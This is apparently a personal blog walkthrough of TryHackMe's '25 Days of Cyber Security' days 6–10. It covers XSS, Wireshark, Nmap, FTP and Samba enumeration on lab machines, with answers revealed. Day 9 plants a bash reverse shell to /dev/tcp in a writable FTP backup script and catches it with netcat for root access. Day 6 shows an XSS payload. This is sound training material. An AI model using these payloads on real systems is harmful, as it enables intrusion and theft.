TryHackMe Walkthrough - 25 Days of Cyber Security (Day 6-10)

Complete solutions and explanations for days 6–10 of the 25 Days of Cyber Security challenge on TryHackMe

©TryHackMe
©TryHackMe

I covered the first 5 days in this Post

Table of Contents:


Day 6

This year, Santa wanted to go fully digital and invented a "Make a wish!" system. It's an extremely simple web app that would allow people to anonymously share their wishes with others. Unfortunately, right after the hacker attack, the security team has discovered that someone has compromised the "Make a wish!". Most of the wishes have disappeared and the website is now redirecting to a malicious website.  An attacker might have pretended to submit a wish and put a malicious request on the server! The security team has pulled a back-up server for you on 10.80.165.128:5000. Your goal is to find the way the attacker could have exploited the application.

Ressources:

Check out this awesome guide about XSS: 
swisskyrepo/PayloadsAllTheThings
Common payload list for you to try out: 
payloadbox/xss-payload-list
For more OWASP Zap guides, check out the following room: 
Learn OWASP Zap

Questions:

Deploy your AttackBox (the blue "Start AttackBox" button) and the tasks machine (green button on this task) if you haven't already. Once both have deployed, open Firefox on the AttackBox and copy/paste the machines IP (http://10.80.165.128:5000) into the browser search bar (the webserver is running on port 5000, so make sure this is included in your web requests).
- No answer needed

What vulnerability type was used to exploit the application?
I used OWASP ZAP to scan the site and got the following result:

We know there are 2 Types of XSS Attacks, stored (persistent) and reflected.

Click to reveal

Stored cross-site scripting

What query string can be abused to craft a reflected XSS?
We can get the answer by typing something in the search field and inspect the URL.

http://10.80.165.128:5000/?q=abc
Click to reveal

q

Run a ZAP (zaproxy) automated scan on the target. How many XSS alerts are in the scan?
After running the scan we can see two XSS alerts

Click to reveal

2

Explore the XSS alerts that ZAP has identified, are you able to make an alert appear on the "Make a wish" website?
- No answer needed

We can do

http://10.80.165.128:5000/?q=<script>alert(1)</script>

Day 7

It's 6 AM and Elf McSkidy is clocking-in to The Best Festival Company's SOC headquarters to begin his watch over TBFC's infrastructure. After logging in, Elf McEager proceeds to read through emails left by Elf McSkidy during the nightshift.
More automatic scanning alerts, oh look, another APT group. It feels like it's going to be a long, but easy start to the week for Elf McEager.
Whilst clearing the backlog of emails, Elf McEager reads the following: "URGENT: Data exfiltration detected on TBFC-WEB-01". "Uh oh" goes Elf McEager. "TBFC-WEB-01? That's Santa's webserver! Who has the motive to steal data from there?!". It's time for the ever-vigilant Elf McEager to prove his salt and find out exactly what happened.
Unknowingly to Elf McEager, Elf McSkidy made this all up! Fortunately, this isn't a real attack - but a training exercise created ahead of Elf McEager's performance review.

Questions:

Open "pcap1.pcap" in Wireshark. What is the IP address that initiates an ICMP/ping?

We can enter icmp in the filter and look dor the src ip of the echo (ping) requests

Click to reveal

10.11.3.2

If we only wanted to see HTTP GET requests in our "pcap1.pcap" file, what filter would we use?

You can answer this by reading the room text

Click to reveal

http.request.method == GET

Now apply this filter to "pcap1.pcap" in Wireshark, what is the name of the article that the IP address "10.10.67.199" visited?

We can anser this by looking at the above screenshot.
Look for /posts/ paths.
the Wireshark filter would be
http.request.method==GET && ip.src == 10.10.67.199

Click to reveal

reindeer-of-the-week

Let's begin analysing "pcap2.pcap". Look at the captured FTP traffic; what password was leaked during the login process?

The easy way to do this is to simply filter for FTP and look through the results.
The slightly more complex way is to explicitly filter for the password using the following filter: ftp.request.command == "PASS"

Click to reveal

plaintext_password_fiasco

Continuing with our analysis of "pcap2.pcap", what is the name of the protocol that is encrypted?

By scrolling through the file, we can quickly spot SSH traffic, which is always encrypted.

Click to reveal

SSH

What is on Elf McSkidy's wishlist that will be used to replace Elf McEager?

If we look in the http object list (File>Export Objects>HTTP) we can see a file named christmas.zip.
We can save the file and look inside the txt file

Click to reveal

Rubber ducky

Day 8

After a few months of probation, intern Elf McEager has passed with glowing feedback from Elf McSkidy. During the meeting, Elf McEager asked for more access to The Best Festival Company's (TBFC's) internal network as he wishes to know more about the systems he has sworn to protect.
Elf McSkidy was reluctant to agree. However, after Elf McEager's heroic actions in recovering Christmas, Elf McSkidy soon thought this was a good idea. This was uncharted territory for Elf McEager - he had no idea how to begin finding out this information for his new responsibilities. Thankfully, TBFC has a wonderful up-skill program covering the use of Nmap for ElfMcEager to enrol in.

Questions:

When was Snort created?

Click to reveal

1998

Using Nmap on 10.80.133.83 , what are the port numbers of the three services running?  (Please provide your answer in ascending order/lowest -> highest, separated by a comma)

We can run a regular nmap scan against the host

root@ip-10-80-118-200:~# nmap 10.80.133.83
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-17 23:37 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.80.133.83
Host is up (0.00011s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1
3389/tcp open  ms-wbt-server
Click to reveal

80,2222,3389

Run a scan and provide the -Pn flag to ignore ICMP being used to determine if the host is up
- No answer needed

Experiment with different scan settings such as-A and -sV whilst comparing the outputs given.
- No answer needed

Use Nmap to determine the name of the Linux distribution that is running, what is reported as the most likely distribution to be running?

We can use the -A option for OS detection:

root@ip-10-80-118-200:~# nmap -A 10.80.133.83
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-17 23:42 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.80.133.83
Host is up (0.00015s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Hugo 0.78.2
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: TBFC&#39;s Internal Blog
2222/tcp open  ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cf:c9:99:d0:5c:09:27:cd:a1:a8:1b:c2:b1:d5:ef:a6 (RSA)
|   256 4c:d4:f9:20:6b:ce:fc:62:99:54:7d:c2:b4:b2:f2:b2 (ECDSA)
|_  256 d0:e6:72:18:b5:20:89:75:d5:69:74:ac:cc:b8:3b:9b (ED25519)
3389/tcp open  ms-wbt-server xrdp
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/17%OT=80%CT=1%CU=44040%PV=Y%DS=1%DC=T%G=Y%TM=696C1EB
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M23
OS:01ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4
OS:B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT     ADDRESS
1   0.21 ms 10.80.133.83

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.87 seconds
Click to reveal

Ubuntu

Use Nmap's Network Scripting Engine (NSE) to retrieve the "HTTP-TITLE" of the webserver. Based on the value returned, what do we think this website might be used for?

We can use out last scan to answer this

Click to reveal

Blog

Now use different scripts against the remaining services to discover any further information about them
- No answer needed

Day 9

Even Santa has been having to adopt the "work from home" ethic in 2020. To help Santa out, Elf McSkidy and their team created a file server for The Best Festival Company (TBFC) that uses the FTP protocol. However, an attacker was able to hack this new server. Your mission, should you choose to accept it, is to understand how this hack occurred and to retrace the steps of the attacker.

Questions:

Name the directory on the FTP server that has data accessible by the "anonymous" user

Connect to the Host and use "ls"

root@ip-10-80-118-200:~# ftp 10.80.177.135
Connected to 10.80.177.135.
220 Welcome to the TBFC FTP Server!.
Name (10.80.177.135:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Nov 16  2020 backups
drwxr-xr-x    2 0        0            4096 Nov 16  2020 elf_workshops
drwxr-xr-x    2 0        0            4096 Nov 16  2020 human_resources
drwxrwxrwx    2 65534    65534        4096 Nov 16  2020 public
226 Directory send OK.
Click to reveal

Public

What script gets executed within this directory?

ftp> cd public
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 111      113           341 Nov 16  2020 backup.sh
-rw-rw-rw-    1 111      113            24 Nov 16  2020 shoppinglist.txt
226 Directory send OK.
Click to reveal

backup.sh

What movie did Santa have on his Christmas shopping list?

Use get to Download the file

ftp> get shoppinglist.txt
local: shoppinglist.txt remote: shoppinglist.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for shoppinglist.txt (24 bytes).
226 Transfer complete.
24 bytes received in 0.00 secs (366.2109 kB/s)
ftp> exit
221 Goodbye.
root@ip-10-80-118-15:~# cat shoppinglist.txt 
The Polar Express Movie
Click to reveal

The Polar Express

Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!

Edit the backup.sh file and insert the payload.

bash -i >& /dev/tcp/Your_TryHackMe_IP/4444 0>&1

After that, start Netcat and listen for incoming connections on port 4444:

root@ip-10-80-118-15:~# nc -lvnp 4444

Now upload the file to the target system using FTP:

ftp> put backup.sh

After a short moment, you should see an incoming connection in Netcat.

root@ip-10-80-118-15:~# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.80.177.135 57380
bash: cannot set terminal process group (1648): Inappropriate ioctl for device
bash: no job control in this shell
root@tbfc-ftp-01:~# cat /root/flag.txt
cat /root/flag.txt
THM{even_you_can_be_santa}
Click to reveal

THM{even_you_can_be_santa}

Day 10

The Best Festival Company (TBFC) has since upscaled its IT infrastructure after last year's attack for all the other elves to use, including a VPN server and a few other services. You breathe a sigh of relief..."That's it, Me, Elf McEager saved the Christmas of 2020! I can't wait to—"
But suddenly, a cold shiver runs down your spine, interrupting your monologue...

Questions:

Using enum4linux, how many users are there on the Samba server (IP)?

We can use enum4linux with the -U option to get the userlist

root@ip-10-80-66-15:~/Desktop/Tools/Miscellaneous# ./enum4linux.pl -U 10.80.131.218
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jan 18 00:59:01 2026

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.80.131.218
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===================================================== 
|    Enumerating Workgroup/Domain on 10.80.131.218    |
 ===================================================== 
[+] Got domain/workgroup name: TBFC-SMB-01

 ====================================== 
|    Session Check on 10.80.131.218    |
 ====================================== 
[+] Server 10.80.131.218 allows sessions using username '', password ''

 ============================================ 
|    Getting domain SID for 10.80.131.218    |
 ============================================ 
Domain Name: TBFC-SMB-01
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ============================== 
|    Users on 10.80.131.218    |
 ============================== 
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy	Name: 	Desc: 
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager	Name: elfmceagerDesc: 
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson	Name: 	Desc: 

user:[elfmcskidy] rid:[0x3e8]
user:[elfmceager] rid:[0x3ea]
user:[elfmcelferson] rid:[0x3e9]
enum4linux complete on Sun Jan 18 00:59:02 2026
Click to reveal

3

Use smbclient to try to login to the shares on the Samba server (10.80.131.218). What share doesn't require a password?

To get the shares we have to use the -S option

root@ip-10-80-66-15:~/Desktop/Tools/Miscellaneous# ./enum4linux.pl -S 10.80.131.218
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jan 18 01:00:48 2026

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.80.131.218
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===================================================== 
|    Enumerating Workgroup/Domain on 10.80.131.218    |
 ===================================================== 
[+] Got domain/workgroup name: TBFC-SMB-01

 ====================================== 
|    Session Check on 10.80.131.218    |
 ====================================== 
[+] Server 10.80.131.218 allows sessions using username '', password ''

 ============================================ 
|    Getting domain SID for 10.80.131.218    |
 ============================================ 
Domain Name: TBFC-SMB-01
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================================== 
|    Share Enumeration on 10.80.131.218    |
 ========================================== 

	Sharename       Type      Comment
	---------       ----      -------
	tbfc-hr         Disk      tbfc-hr
	tbfc-it         Disk      tbfc-it
	tbfc-santa      Disk      tbfc-santa
	IPC$            IPC       IPC Service (tbfc-smb server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.80.131.218
//10.80.131.218/tbfc-hr	Mapping: DENIED, Listing: N/A
//10.80.131.218/tbfc-it	Mapping: DENIED, Listing: N/A
//10.80.131.218/tbfc-santa	Mapping: OK, Listing: OK
//10.80.131.218/IPC$	[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Sun Jan 18 01:00:49 2026
Click to reveal

4

Use smbclient to try to login to the shares on the Samba server (10.80.131.218). What share doesn't require a password?

In the previous question, we saw that one share could be mapped

Click to reveal

tbfc-santa

Log in to this share, what directory did ElfMcSkidy leave for Santa?

There is only one directory:

root@ip-10-80-66-15:~/Desktop/Tools/Miscellaneous# smbclient //10.80.131.218/tbfc-santa
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Nov 12 02:12:07 2020
  ..                                  D        0  Thu Nov 12 01:32:21 2020
  jingle-tunes                        D        0  Thu Nov 12 02:10:41 2020
  note_from_mcskidy.txt               N      143  Thu Nov 12 02:12:07 2020

		10252564 blocks of size 1024. 5369408 blocks available
smb: \> ^C
Click to reveal

jingle-tunes


You can find days 1-5 here: TryHackMe Walkthrough - 25 Days of Cyber Security (Day 1-5)

You can find more of my posts and projects here: https://blog.janalhorn.de